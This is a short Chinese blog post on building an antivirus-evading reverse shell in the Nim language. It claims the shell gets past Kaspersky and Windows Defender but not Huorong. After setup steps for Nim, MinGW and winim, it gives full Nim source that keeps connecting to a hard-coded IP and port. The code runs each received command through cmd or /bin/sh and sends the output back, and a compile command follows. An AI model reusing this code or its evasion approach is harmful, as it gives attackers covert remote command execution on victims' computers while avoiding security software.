nim小众语言免杀(过火绒和卡巴)

一,环境搭建

https://nim-lang.org/install.html

下载解压,bin目录路径加入环境变量path中

https://sourceforge.net/projects/mingw-w64/files/ 

下载64位系统建议选择x86_64-posix-sjlj 32位系统建议选择i686-posix-sjlj

解压,bin目录加入环境变量

https://github.com/khchen/winim 

在当前目录下 使用nimble install 安装

 

二,免杀代码

import net  
import osproc
import os 
 
 
var ip = "10.1.53.52"
var port = 10085
 
var socket = newSocket()
var finalcommand : string
 
while true:
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send("<helloshell>")
                var command = socket.recvLine()
                if command == "bye":
                    socket.send("exit")
                    socket.close()
                    system.quit(0)
                if system.hostOS == "windows":
                    finalcommand = "cmd /C" & command
                else:
                    finalcommand = "/bin/sh -c" & command
                
                var (cmdres, _) = execCmdEx(finalcommand)
                socket.send(cmdres)
            except:
                socket.close()
                system.quit()
    except:
        echo ""
        sleep(5000)
        continue

nim c -d:mingw Nim_socket.nim  

编译成exe 

 

 

不过火绒 但是过def和卡巴

 

posted @ 2022-10-11 15:05  IronHeart  阅读(188)  评论(0)    收藏  举报